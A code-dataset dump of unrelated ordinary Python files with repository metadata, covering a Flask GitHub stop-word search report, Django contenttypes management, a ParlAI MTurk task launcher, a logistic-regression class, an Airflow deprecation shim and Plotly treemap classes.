reportfile.write('<p class="lead">Consider reviewing the occurrences of the following words in the documentation.</p><hr/>') wordpos = 0 for word in wordlist: url_string = URL_prefix + word + URL_suffix r = requests.get(url_string) json_data = json.loads(json.dumps(r.json())) print(json_data) if len(json_data['items']) != 0: print(word) reportfile.write('<div class="container">') reportfile.write('<h2>' + word + '</h2>') print(explainlist[wordpos]) reportfile.write('<p>' + explainlist[wordpos] + '</p>') print(json_data['total_count'], 'instances of', word) reportfile.write('<p>' + str(json_data['total_count']) + ' instances of <mark>' + word + '</mark> found in the following files:</p>') reportfile.write('<ul>') for line in json_data['items']: for k, v in line.items(): if k == 'path': print(v) reportfile.write('<li>' + v + '</li>') print('--------\n') reportfile.write('</ul>') reportfile.write('</div>') reportfile.write('<hr/>') wordpos = wordpos + 1 except: reportfile.write("<p class='text-danger'>>>>>> If you're seeing these lines, it means you've hit the API rate limits for GitHub search and the Stopwords search was abandoned.</p>") #reportfile.write('<img src="../static/stopWords.png"/>') reportfile.write("<p class='text-danger'>Maybe choose a smaller documentation repository for your search?</p>") reportfile.write("<p class='text-danger'>But then, this is just a demo and you get the general idea, I hope? <<<<<") reportfile.write("</div></body>") reportfile.write("</html>") reportfile.close() return render_template('stopWordsSearch.html') if __name__ == "__main__": port = int(os.environ.get("PORT", 5000)) app.run(host='0.0.0.0', port=port) #app.run()

true

f705330137e0d77aaa9e47ecb94b760f7a854733

2,916

py

Python

django/contrib/contenttypes/management.py

KingWapo/django

115c307184d441fbc27a8f43a99af5d992cfcc13

[ "BSD-3-Clause" ]

2

2015-01-21T15:45:07.000Z

2015-02-21T02:38:13.000Z

env/lib/python2.7/site-packages/django/contrib/contenttypes/management.py

luiscarlosgph/nas

e5acee61e8bbf12c34785fe971ce7df8dee775d4

[ "MIT" ]

10

2019-12-26T17:31:31.000Z

2022-03-21T22:17:33.000Z

env/lib/python2.7/site-packages/django/contrib/contenttypes/management.py

luiscarlosgph/nas

e5acee61e8bbf12c34785fe971ce7df8dee775d4

[ "MIT" ]

1

2021-03-06T14:22:00.000Z

from django.apps import apps from django.db import DEFAULT_DB_ALIAS, router from django.db.models import signals from django.utils.encoding import smart_text from django.utils import six from django.utils.six.moves import input def update_contenttypes(app_config, verbosity=2, interactive=True, using=DEFAULT_DB_ALIAS, **kwargs): """ Creates content types for models in the given app, removing any model entries that no longer have a matching model class. """ if not app_config.models_module: return try: ContentType = apps.get_model('contenttypes', 'ContentType') except LookupError: return if not router.allow_migrate(using, ContentType): return ContentType.objects.clear_cache() app_label = app_config.label app_models = dict( (model._meta.model_name, model) for model in app_config.get_models()) if not app_models: return # Get all the content types content_types = dict( (ct.model, ct) for ct in ContentType.objects.using(using).filter(app_label=app_label) ) to_remove = [ ct for (model_name, ct) in six.iteritems(content_types) if model_name not in app_models ] cts = [ ContentType( name=smart_text(model._meta.verbose_name_raw), app_label=app_label, model=model_name, ) for (model_name, model) in six.iteritems(app_models) if model_name not in content_types ] ContentType.objects.using(using).bulk_create(cts) if verbosity >= 2: for ct in cts: print("Adding content type '%s | %s'" % (ct.app_label, ct.model)) # Confirm that the content type is stale before deletion. if to_remove: if interactive: content_type_display = '\n'.join( ' %s | %s' % (ct.app_label, ct.model) for ct in to_remove ) ok_to_delete = input("""The following content types are stale and need to be deleted: %s Any objects related to these content types by a foreign key will also be deleted. Are you sure you want to delete these content types? If you're unsure, answer 'no'. Type 'yes' to continue, or 'no' to cancel: """ % content_type_display) else: ok_to_delete = False if ok_to_delete == 'yes': for ct in to_remove: if verbosity >= 2: print("Deleting stale content type '%s | %s'" % (ct.app_label, ct.model)) ct.delete() else: if verbosity >= 2: print("Stale content types remain.") def update_all_contenttypes(**kwargs): for app_config in apps.get_app_configs(): update_contenttypes(app_config, **kwargs) signals.post_migrate.connect(update_contenttypes) if __name__ == "__main__": update_all_contenttypes()

29.16

101

0.63546

from django.apps import apps from django.db import DEFAULT_DB_ALIAS, router from django.db.models import signals from django.utils.encoding import smart_text from django.utils import six from django.utils.six.moves import input def update_contenttypes(app_config, verbosity=2, interactive=True, using=DEFAULT_DB_ALIAS, **kwargs): if not app_config.models_module: return try: ContentType = apps.get_model('contenttypes', 'ContentType') except LookupError: return if not router.allow_migrate(using, ContentType): return ContentType.objects.clear_cache() app_label = app_config.label app_models = dict( (model._meta.model_name, model) for model in app_config.get_models()) if not app_models: return content_types = dict( (ct.model, ct) for ct in ContentType.objects.using(using).filter(app_label=app_label) ) to_remove = [ ct for (model_name, ct) in six.iteritems(content_types) if model_name not in app_models ] cts = [ ContentType( name=smart_text(model._meta.verbose_name_raw), app_label=app_label, model=model_name, ) for (model_name, model) in six.iteritems(app_models) if model_name not in content_types ] ContentType.objects.using(using).bulk_create(cts) if verbosity >= 2: for ct in cts: print("Adding content type '%s | %s'" % (ct.app_label, ct.model)) if to_remove: if interactive: content_type_display = '\n'.join( ' %s | %s' % (ct.app_label, ct.model) for ct in to_remove ) ok_to_delete = input("""The following content types are stale and need to be deleted: %s Any objects related to these content types by a foreign key will also be deleted. Are you sure you want to delete these content types? If you're unsure, answer 'no'. Type 'yes' to continue, or 'no' to cancel: """ % content_type_display) else: ok_to_delete = False if ok_to_delete == 'yes': for ct in to_remove: if verbosity >= 2: print("Deleting stale content type '%s | %s'" % (ct.app_label, ct.model)) ct.delete() else: if verbosity >= 2: print("Stale content types remain.") def update_all_contenttypes(**kwargs): for app_config in apps.get_app_configs(): update_contenttypes(app_config, **kwargs) signals.post_migrate.connect(update_contenttypes) if __name__ == "__main__": update_all_contenttypes()

true

f705330f398c68077399fd500653c9cafa921704

4,870

py

Python

parlai/mturk/tasks/personachat/personachat_chat/run.py

khaimaitien/Mai_convai2

83bf99ba09d678455aad49239f3daefc5a7b8fc9

[ "BSD-3-Clause" ]

1

2018-09-28T05:47:45.000Z

parlai/mturk/tasks/personachat/personachat_chat/run.py

crazyrex/ParlAI

fbfda4f4aadd357dfdb7b4baf230c45c039a1338

[ "BSD-3-Clause" ]

1

2018-09-27T17:11:24.000Z

parlai/mturk/tasks/personachat/personachat_chat/run.py

khaimaitien/Mai_convai2

83bf99ba09d678455aad49239f3daefc5a7b8fc9

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python3 # Copyright (c) 2017-present, Facebook, Inc. # All rights reserved. # This source code is licensed under the BSD-style license found in the # LICENSE file in the root directory of this source tree. An additional grant # of patent rights can be found in the PATENTS file in the same directory. from parlai.core.params import ParlaiParser from parlai.mturk.core.mturk_manager import MTurkManager from worlds import \ PersonaChatWorld, PersonaProfileWorld, PersonasGenerator from task_config import task_config import os def main(): """This task consists of one agent, model or MTurk worker, talking to an MTurk worker to negotiate a deal. """ argparser = ParlaiParser(False, False) argparser.add_parlai_data_path() argparser.add_mturk_args() argparser.add_argument('-min_t', '--min_turns', default=5, type=int, help='minimum number of turns') argparser.add_argument('-mt', '--max_turns', default=10, type=int, help='maximal number of chat turns') argparser.add_argument('-mx_rsp_time', '--max_resp_time', default=150, type=int, help='time limit for entering a dialog message') argparser.add_argument('-mx_psn_time', '--max_persona_time', type=int, default=300, help='time limit for turker' 'entering the persona') argparser.add_argument('--ag_shutdown_time', default=120, type=int, help='time limit for entering a dialog message') argparser.add_argument('--persona-type', default='both', type=str, choices=['both', 'self', 'other'], help='Which personas to load from personachat') argparser.add_argument('--revised', default=False, type='bool', help='Whether to use revised personas') argparser.add_argument('-rt', '--range_turn', default='5,7', help='sample range of number of turns') argparser.add_argument('--personas-path', default=None, help='specify path for personas data') opt = argparser.parse_args() directory_path = os.path.dirname(os.path.abspath(__file__)) opt['task'] = os.path.basename(directory_path) if not opt.get('personas_path'): opt['personas_path'] = argparser.parlai_home + '/parlai/mturk/personachat_chat/data' opt.update(task_config) opt['extract_personas_path'] = os.path.join(opt['datapath'], 'personachat_chat') mturk_agent_ids = ['PERSON_1', 'PERSON_2'] mturk_manager = MTurkManager( opt=opt, mturk_agent_ids=mturk_agent_ids ) persona_generator = PersonasGenerator(opt) mturk_manager.setup_server(task_directory_path=directory_path) try: mturk_manager.start_new_run() mturk_manager.create_hits() if not opt['is_sandbox']: blocked_worker_list = [] for w in blocked_worker_list: mturk_manager.block_worker(w, 'We found that you have unexpected behaviors in our previous HITs. For more questions please email us.') def run_onboard(worker): worker.persona_generator = persona_generator world = PersonaProfileWorld(opt, worker) world.parley() world.shutdown() mturk_manager.set_onboard_function(onboard_function=run_onboard) mturk_manager.ready_to_accept_workers() def check_worker_eligibility(worker): return True def assign_worker_roles(workers): for index, worker in enumerate(workers): worker.id = mturk_agent_ids[index % len(mturk_agent_ids)] def run_conversation(mturk_manager, opt, workers): agents = [workers[0], workers[1]] conv_idx = mturk_manager.conversation_index world = PersonaChatWorld( opt=opt, agents=agents, range_turn=[int(s) for s in opt['range_turn'].split(',')], max_turn=opt['max_turns'], max_resp_time=opt['max_resp_time'], world_tag='conversation t_{}'.format(conv_idx) ) world.reset_random() while not world.episode_done(): world.parley() world.save_data() world.shutdown() world.review_work() mturk_manager.start_task( eligibility_function=check_worker_eligibility, assign_role_function=assign_worker_roles, task_function=run_conversation ) except BaseException: raise finally: mturk_manager.expire_all_unassigned_hits() mturk_manager.shutdown() if __name__ == '__main__': main()

38.650794

150

0.626489

from parlai.core.params import ParlaiParser from parlai.mturk.core.mturk_manager import MTurkManager from worlds import \ PersonaChatWorld, PersonaProfileWorld, PersonasGenerator from task_config import task_config import os def main(): argparser = ParlaiParser(False, False) argparser.add_parlai_data_path() argparser.add_mturk_args() argparser.add_argument('-min_t', '--min_turns', default=5, type=int, help='minimum number of turns') argparser.add_argument('-mt', '--max_turns', default=10, type=int, help='maximal number of chat turns') argparser.add_argument('-mx_rsp_time', '--max_resp_time', default=150, type=int, help='time limit for entering a dialog message') argparser.add_argument('-mx_psn_time', '--max_persona_time', type=int, default=300, help='time limit for turker' 'entering the persona') argparser.add_argument('--ag_shutdown_time', default=120, type=int, help='time limit for entering a dialog message') argparser.add_argument('--persona-type', default='both', type=str, choices=['both', 'self', 'other'], help='Which personas to load from personachat') argparser.add_argument('--revised', default=False, type='bool', help='Whether to use revised personas') argparser.add_argument('-rt', '--range_turn', default='5,7', help='sample range of number of turns') argparser.add_argument('--personas-path', default=None, help='specify path for personas data') opt = argparser.parse_args() directory_path = os.path.dirname(os.path.abspath(__file__)) opt['task'] = os.path.basename(directory_path) if not opt.get('personas_path'): opt['personas_path'] = argparser.parlai_home + '/parlai/mturk/personachat_chat/data' opt.update(task_config) opt['extract_personas_path'] = os.path.join(opt['datapath'], 'personachat_chat') mturk_agent_ids = ['PERSON_1', 'PERSON_2'] mturk_manager = MTurkManager( opt=opt, mturk_agent_ids=mturk_agent_ids ) persona_generator = PersonasGenerator(opt) mturk_manager.setup_server(task_directory_path=directory_path) try: mturk_manager.start_new_run() mturk_manager.create_hits() if not opt['is_sandbox']: blocked_worker_list = [] for w in blocked_worker_list: mturk_manager.block_worker(w, 'We found that you have unexpected behaviors in our previous HITs. For more questions please email us.') def run_onboard(worker): worker.persona_generator = persona_generator world = PersonaProfileWorld(opt, worker) world.parley() world.shutdown() mturk_manager.set_onboard_function(onboard_function=run_onboard) mturk_manager.ready_to_accept_workers() def check_worker_eligibility(worker): return True def assign_worker_roles(workers): for index, worker in enumerate(workers): worker.id = mturk_agent_ids[index % len(mturk_agent_ids)] def run_conversation(mturk_manager, opt, workers): agents = [workers[0], workers[1]] conv_idx = mturk_manager.conversation_index world = PersonaChatWorld( opt=opt, agents=agents, range_turn=[int(s) for s in opt['range_turn'].split(',')], max_turn=opt['max_turns'], max_resp_time=opt['max_resp_time'], world_tag='conversation t_{}'.format(conv_idx) ) world.reset_random() while not world.episode_done(): world.parley() world.save_data() world.shutdown() world.review_work() mturk_manager.start_task( eligibility_function=check_worker_eligibility, assign_role_function=assign_worker_roles, task_function=run_conversation ) except BaseException: raise finally: mturk_manager.expire_all_unassigned_hits() mturk_manager.shutdown() if __name__ == '__main__': main()

true

f705343bf3fc1ba799d2ebee62971a89002e3bcf

2,523

py

Python

Ch_03/LogisticRegression.py

RafaelSouza94/Python_Machine_Learning

5b150613410ddc64a61690f232ec61751744fa41

[ "MIT" ]

null

Ch_03/LogisticRegression.py

RafaelSouza94/Python_Machine_Learning

5b150613410ddc64a61690f232ec61751744fa41

[ "MIT" ]

null

Ch_03/LogisticRegression.py

RafaelSouza94/Python_Machine_Learning

5b150613410ddc64a61690f232ec61751744fa41

[ "MIT" ]

null

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Logistic Regression Gradient Descent """ import numpy as np class LogisticRegressionGD(object): """Logistic Regression Classifier using gradient descent. Parameters ------------ eta : float Learning rate (between 0.0 and 1.0) n_iter : int Passes over the training dataset. random_state : int Random number generator seed for random weight initialization. Attributes ----------- w_ : 1d-array Weights after fitting. cost_ : list Logistic cost function value in each epoch. """ def __init__(self, eta=0.05, n_iter=100, random_state=1): self.eta = eta self.n_iter = n_iter self.random_state = random_state def fit(self, X, y): """ Fit training data. Parameters ---------- X : {array-like}, shape = [n_examples, n_features] Training vectors, where n_examples is the number of examples and n_features is the number of features. y : array-like, shape = [n_examples] Target values. Returns ------- self : object """ rgen = np.random.RandomState(self.random_state) self.w_ = rgen.normal(loc=0.0, scale=0.01, size=1 + X.shape[1]) self.cost_ = [] for i in range(self.n_iter): net_input = self.net_input(X) output = self.activation(net_input) errors = (y - output) self.w_[1:] += self.eta * X.T.dot(errors) self.w_[0] += self.eta * errors.sum() # note that we compute the logistic `cost` now # instead of the sum of squared errors cost cost = (-y.dot(np.log(output)) - ((1 - y).dot(np.log(1 - output)))) self.cost_.append(cost) return self def net_input(self, X): """Calculate net input""" return np.dot(X, self.w_[1:]) + self.w_[0] def activation(self, z): """Compute logistic sigmoid activation""" return 1. / (1. + np.exp(-np.clip(z, -250, 250))) def predict(self, X): """Return class label after unit step""" return np.where(self.net_input(X) >= 0.0, 1, 0) # equivalent to: # return np.where(self.activation(self.net_input(X)) # >= 0.5, 1, 0)

30.035714

63

0.52279

import numpy as np class LogisticRegressionGD(object): def __init__(self, eta=0.05, n_iter=100, random_state=1): self.eta = eta self.n_iter = n_iter self.random_state = random_state def fit(self, X, y): rgen = np.random.RandomState(self.random_state) self.w_ = rgen.normal(loc=0.0, scale=0.01, size=1 + X.shape[1]) self.cost_ = [] for i in range(self.n_iter): net_input = self.net_input(X) output = self.activation(net_input) errors = (y - output) self.w_[1:] += self.eta * X.T.dot(errors) self.w_[0] += self.eta * errors.sum() cost = (-y.dot(np.log(output)) - ((1 - y).dot(np.log(1 - output)))) self.cost_.append(cost) return self def net_input(self, X): return np.dot(X, self.w_[1:]) + self.w_[0] def activation(self, z): return 1. / (1. + np.exp(-np.clip(z, -250, 250))) def predict(self, X): return np.where(self.net_input(X) >= 0.0, 1, 0)

true

f705365fe4791c97b8b3d6bace419ef73911d813

1,149

py

Python

airflow/hooks/mysql_hook.py

dorranh/airflow

1a9a2cadcf8606cfcb729d1323dd33dfacc64633

[ "Apache-2.0" ]

5

2020-07-17T07:33:58.000Z

2022-03-02T06:23:47.000Z

airflow/hooks/mysql_hook.py

dorranh/airflow

1a9a2cadcf8606cfcb729d1323dd33dfacc64633

[ "Apache-2.0" ]

7

2020-06-03T14:55:17.000Z

2021-12-30T00:01:50.000Z

airflow/hooks/mysql_hook.py

dorranh/airflow

1a9a2cadcf8606cfcb729d1323dd33dfacc64633

[ "Apache-2.0" ]

12

2020-01-09T14:02:39.000Z

2022-01-24T07:18:51.000Z

# -*- coding: utf-8 -*- # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. """This module is deprecated. Please use `airflow.providers.mysql.hooks.mysql`.""" import warnings # pylint: disable=unused-import from airflow.providers.mysql.hooks.mysql import MySqlHook # noqa warnings.warn( "This module is deprecated. Please use `airflow.providers.mysql.hooks.mysql`.", DeprecationWarning, stacklevel=2 )

38.3

83

0.761532

import warnings from airflow.providers.mysql.hooks.mysql import MySqlHook warnings.warn( "This module is deprecated. Please use `airflow.providers.mysql.hooks.mysql`.", DeprecationWarning, stacklevel=2 )

true

f705371ad450409a7a5a8779c94a8bb544f9b844

114,476

py

Python

pyInstaller/plotly/graph_objs/treemap/__init__.py

rianawillers/dash-lineplot

b72c3e4799d39bdc33bbcae2202fdefd6f4af00e

[ "MIT" ]

2

2019-11-08T07:01:11.000Z

2019-11-17T10:10:49.000Z

pyInstaller/plotly/graph_objs/treemap/__init__.py

rianawillers/dash-lineplot

b72c3e4799d39bdc33bbcae2202fdefd6f4af00e

[ "MIT" ]

12

2020-06-06T01:22:26.000Z

2022-03-12T00:13:42.000Z

pyInstaller/plotly/graph_objs/treemap/__init__.py

rianawillers/dash-lineplot

b72c3e4799d39bdc33bbcae2202fdefd6f4af00e

[ "MIT" ]

17

2019-11-21T14:11:29.000Z

2019-11-21T15:26:23.000Z

from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Tiling(_BaseTraceHierarchyType): # flip # ---- @property def flip(self): """ Determines if the positions obtained from solver are flipped on each axis. The 'flip' property is a flaglist and may be specified as a string containing: - Any combination of ['x', 'y'] joined with '+' characters (e.g. 'x+y') Returns ------- Any """ return self["flip"] @flip.setter def flip(self, val): self["flip"] = val # packing # ------- @property def packing(self): """ Determines d3 treemap solver. For more info please refer to https://github.com/d3/d3-hierarchy#treemap-tiling The 'packing' property is an enumeration that may be specified as: - One of the following enumeration values: ['squarify', 'binary', 'dice', 'slice', 'slice-dice', 'dice-slice'] Returns ------- Any """ return self["packing"] @packing.setter def packing(self, val): self["packing"] = val # pad # --- @property def pad(self): """ Sets the inner padding (in px). The 'pad' property is a number and may be specified as: - An int or float in the interval [0, inf] Returns ------- int|float """ return self["pad"] @pad.setter def pad(self, val): self["pad"] = val # squarifyratio # ------------- @property def squarifyratio(self): """ When using "squarify" `packing` algorithm, according to https:/ /github.com/d3/d3-hierarchy/blob/master/README.md#squarify_rati o this option specifies the desired aspect ratio of the generated rectangles. The ratio must be specified as a number greater than or equal to one. Note that the orientation of the generated rectangles (tall or wide) is not implied by the ratio; for example, a ratio of two will attempt to produce a mixture of rectangles whose width:height ratio is either 2:1 or 1:2. When using "squarify", unlike d3 which uses the Golden Ratio i.e. 1.618034, Plotly applies 1 to increase squares in treemap layouts. The 'squarifyratio' property is a number and may be specified as: - An int or float in the interval [1, inf] Returns ------- int|float """ return self["squarifyratio"] @squarifyratio.setter def squarifyratio(self, val): self["squarifyratio"] = val # property parent name # -------------------- @property def _parent_path_str(self): return "treemap" # Self properties description # --------------------------- @property def _prop_descriptions(self): return """\ flip Determines if the positions obtained from solver are flipped on each axis. packing Determines d3 treemap solver. For more info please refer to https://github.com/d3/d3-hierarchy#treemap- tiling pad Sets the inner padding (in px). squarifyratio When using "squarify" `packing` algorithm, according to https://github.com/d3/d3-hierarchy/blob/master/README.m d#squarify_ratio this option specifies the desired aspect ratio of the generated rectangles. The ratio must be specified as a number greater than or equal to one. Note that the orientation of the generated rectangles (tall or wide) is not implied by the ratio; for example, a ratio of two will attempt to produce a mixture of rectangles whose width:height ratio is either 2:1 or 1:2. When using "squarify", unlike d3 which uses the Golden Ratio i.e. 1.618034, Plotly applies 1 to increase squares in treemap layouts. """ def __init__( self, arg=None, flip=None, packing=None, pad=None, squarifyratio=None, **kwargs ): """ Construct a new Tiling object Parameters ---------- arg dict of properties compatible with this constructor or an instance of plotly.graph_objs.treemap.Tiling flip Determines if the positions obtained from solver are flipped on each axis. packing Determines d3 treemap solver. For more info please refer to https://github.com/d3/d3-hierarchy#treemap- tiling pad Sets the inner padding (in px). squarifyratio When using "squarify" `packing` algorithm, according to https://github.com/d3/d3-hierarchy/blob/master/README.m d#squarify_ratio this option specifies the desired aspect ratio of the generated rectangles. The ratio must be specified as a number greater than or equal to one. Note that the orientation of the generated rectangles (tall or wide) is not implied by the ratio; for example, a ratio of two will attempt to produce a mixture of rectangles whose width:height ratio is either 2:1 or 1:2. When using "squarify", unlike d3 which uses the Golden Ratio i.e. 1.618034, Plotly applies 1 to increase squares in treemap layouts. Returns ------- Tiling """ super(Tiling, self).__init__("tiling") # Validate arg # ------------ if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Tiling constructor must be a dict or an instance of plotly.graph_objs.treemap.Tiling""" ) # Handle skip_invalid # ------------------- self._skip_invalid = kwargs.pop("skip_invalid", False) # Import validators # ----------------- from plotly.validators.treemap import tiling as v_tiling # Initialize validators # --------------------- self._validators["flip"] = v_tiling.FlipValidator() self._validators["packing"] = v_tiling.PackingValidator() self._validators["pad"] = v_tiling.PadValidator() self._validators["squarifyratio"] = v_tiling.SquarifyratioValidator() # Populate data dict with properties # ---------------------------------- _v = arg.pop("flip", None) self["flip"] = flip if flip is not None else _v _v = arg.pop("packing", None) self["packing"] = packing if packing is not None else _v _v = arg.pop("pad", None) self["pad"] = pad if pad is not None else _v _v = arg.pop("squarifyratio", None) self["squarifyratio"] = squarifyratio if squarifyratio is not None else _v # Process unknown kwargs # ---------------------- self._process_kwargs(**dict(arg, **kwargs)) # Reset skip_invalid # ------------------ self._skip_invalid = False from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Textfont(_BaseTraceHierarchyType): # color # ----- @property def color(self): """ The 'color' property is a color and may be specified as: - A hex string (e.g. '#ff0000') - An rgb/rgba string (e.g. 'rgb(255,0,0)') - An hsl/hsla string (e.g. 'hsl(0,100%,50%)') - An hsv/hsva string (e.g. 'hsv(0,100%,100%)') - A named CSS color: aliceblue, antiquewhite, aqua, aquamarine, azure, beige, bisque, black, blanchedalmond, blue, blueviolet, brown, burlywood, cadetblue, chartreuse, chocolate, coral, cornflowerblue, cornsilk, crimson, cyan, darkblue, darkcyan, darkgoldenrod, darkgray, darkgrey, darkgreen, darkkhaki, darkmagenta, darkolivegreen, darkorange, darkorchid, darkred, darksalmon, darkseagreen, darkslateblue, darkslategray, darkslategrey, darkturquoise, darkviolet, deeppink, deepskyblue, dimgray, dimgrey, dodgerblue, firebrick, floralwhite, forestgreen, fuchsia, gainsboro, ghostwhite, gold, goldenrod, gray, grey, green, greenyellow, honeydew, hotpink, indianred, indigo, ivory, khaki, lavender, lavenderblush, lawngreen, lemonchiffon, lightblue, lightcoral, lightcyan, lightgoldenrodyellow, lightgray, lightgrey, lightgreen, lightpink, lightsalmon, lightseagreen, lightskyblue, lightslategray, lightslategrey, lightsteelblue, lightyellow, lime, limegreen, linen, magenta, maroon, mediumaquamarine, mediumblue, mediumorchid, mediumpurple, mediumseagreen, mediumslateblue, mediumspringgreen, mediumturquoise, mediumvioletred, midnightblue, mintcream, mistyrose, moccasin, navajowhite, navy, oldlace, olive, olivedrab, orange, orangered, orchid, palegoldenrod, palegreen, paleturquoise, palevioletred, papayawhip, peachpuff, peru, pink, plum, powderblue, purple, red, rosybrown, royalblue, rebeccapurple, saddlebrown, salmon, sandybrown, seagreen, seashell, sienna, silver, skyblue, slateblue, slategray, slategrey, snow, springgreen, steelblue, tan, teal, thistle, tomato, turquoise, violet, wheat, white, whitesmoke, yellow, yellowgreen - A list or array of any of the above Returns ------- str|numpy.ndarray """ return self["color"] @color.setter def color(self, val): self["color"] = val # colorsrc # -------- @property def colorsrc(self): """ Sets the source reference on plot.ly for color . The 'colorsrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["colorsrc"] @colorsrc.setter def colorsrc(self, val): self["colorsrc"] = val # family # ------ @property def family(self): """ HTML font family - the typeface that will be applied by the web browser. The web browser will only be able to apply a font if it is available on the system which it operates. Provide multiple font families, separated by commas, to indicate the preference in which to apply fonts if they aren't available on the system. The plotly service (at https://plot.ly or on- premise) generates images on a server, where only a select number of fonts are installed and supported. These include "Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif", "Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New Roman". The 'family' property is a string and must be specified as: - A non-empty string - A tuple, list, or one-dimensional numpy array of the above Returns ------- str|numpy.ndarray """ return self["family"] @family.setter def family(self, val): self["family"] = val # familysrc # --------- @property def familysrc(self): """ Sets the source reference on plot.ly for family . The 'familysrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["familysrc"] @familysrc.setter def familysrc(self, val): self["familysrc"] = val # size # ---- @property def size(self): """ The 'size' property is a number and may be specified as: - An int or float in the interval [1, inf] - A tuple, list, or one-dimensional numpy array of the above Returns ------- int|float|numpy.ndarray """ return self["size"] @size.setter def size(self, val): self["size"] = val # sizesrc # ------- @property def sizesrc(self): """ Sets the source reference on plot.ly for size . The 'sizesrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["sizesrc"] @sizesrc.setter def sizesrc(self, val): self["sizesrc"] = val # property parent name # -------------------- @property def _parent_path_str(self): return "treemap" # Self properties description # --------------------------- @property def _prop_descriptions(self): return """\ color colorsrc Sets the source reference on plot.ly for color . family HTML font family - the typeface that will be applied by the web browser. The web browser will only be able to apply a font if it is available on the system which it operates. Provide multiple font families, separated by commas, to indicate the preference in which to apply fonts if they aren't available on the system. The plotly service (at https://plot.ly or on-premise) generates images on a server, where only a select number of fonts are installed and supported. These include "Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif", "Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New Roman". familysrc Sets the source reference on plot.ly for family . size sizesrc Sets the source reference on plot.ly for size . """ def __init__( self, arg=None, color=None, colorsrc=None, family=None, familysrc=None, size=None, sizesrc=None, **kwargs ): """ Construct a new Textfont object Sets the font used for `textinfo`. Parameters ---------- arg dict of properties compatible with this constructor or an instance of plotly.graph_objs.treemap.Textfont color colorsrc Sets the source reference on plot.ly for color . family HTML font family - the typeface that will be applied by the web browser. The web browser will only be able to apply a font if it is available on the system which it operates. Provide multiple font families, separated by commas, to indicate the preference in which to apply fonts if they aren't available on the system. The plotly service (at https://plot.ly or on-premise) generates images on a server, where only a select number of fonts are installed and supported. These include "Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif", "Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New Roman". familysrc Sets the source reference on plot.ly for family . size sizesrc Sets the source reference on plot.ly for size . Returns ------- Textfont """ super(Textfont, self).__init__("textfont") # Validate arg # ------------ if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Textfont constructor must be a dict or an instance of plotly.graph_objs.treemap.Textfont""" ) # Handle skip_invalid # ------------------- self._skip_invalid = kwargs.pop("skip_invalid", False) # Import validators # ----------------- from plotly.validators.treemap import textfont as v_textfont # Initialize validators # --------------------- self._validators["color"] = v_textfont.ColorValidator() self._validators["colorsrc"] = v_textfont.ColorsrcValidator() self._validators["family"] = v_textfont.FamilyValidator() self._validators["familysrc"] = v_textfont.FamilysrcValidator() self._validators["size"] = v_textfont.SizeValidator() self._validators["sizesrc"] = v_textfont.SizesrcValidator() # Populate data dict with properties # ---------------------------------- _v = arg.pop("color", None) self["color"] = color if color is not None else _v _v = arg.pop("colorsrc", None) self["colorsrc"] = colorsrc if colorsrc is not None else _v _v = arg.pop("family", None) self["family"] = family if family is not None else _v _v = arg.pop("familysrc", None) self["familysrc"] = familysrc if familysrc is not None else _v _v = arg.pop("size", None) self["size"] = size if size is not None else _v _v = arg.pop("sizesrc", None) self["sizesrc"] = sizesrc if sizesrc is not None else _v # Process unknown kwargs # ---------------------- self._process_kwargs(**dict(arg, **kwargs)) # Reset skip_invalid # ------------------ self._skip_invalid = False from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Stream(_BaseTraceHierarchyType): # maxpoints # --------- @property def maxpoints(self): """ Sets the maximum number of points to keep on the plots from an incoming stream. If `maxpoints` is set to 50, only the newest 50 points will be displayed on the plot. The 'maxpoints' property is a number and may be specified as: - An int or float in the interval [0, 10000] Returns ------- int|float """ return self["maxpoints"] @maxpoints.setter def maxpoints(self, val): self["maxpoints"] = val # token # ----- @property def token(self): """ The stream id number links a data trace on a plot with a stream. See https://plot.ly/settings for more details. The 'token' property is a string and must be specified as: - A non-empty string Returns ------- str """ return self["token"] @token.setter def token(self, val): self["token"] = val # property parent name # -------------------- @property def _parent_path_str(self): return "treemap" # Self properties description # --------------------------- @property def _prop_descriptions(self): return """\ maxpoints Sets the maximum number of points to keep on the plots from an incoming stream. If `maxpoints` is set to 50, only the newest 50 points will be displayed on the plot. token The stream id number links a data trace on a plot with a stream. See https://plot.ly/settings for more details. """ def __init__(self, arg=None, maxpoints=None, token=None, **kwargs): """ Construct a new Stream object Parameters ---------- arg dict of properties compatible with this constructor or an instance of plotly.graph_objs.treemap.Stream maxpoints Sets the maximum number of points to keep on the plots from an incoming stream. If `maxpoints` is set to 50, only the newest 50 points will be displayed on the plot. token The stream id number links a data trace on a plot with a stream. See https://plot.ly/settings for more details. Returns ------- Stream """ super(Stream, self).__init__("stream") # Validate arg # ------------ if arg is None: arg = {} elif 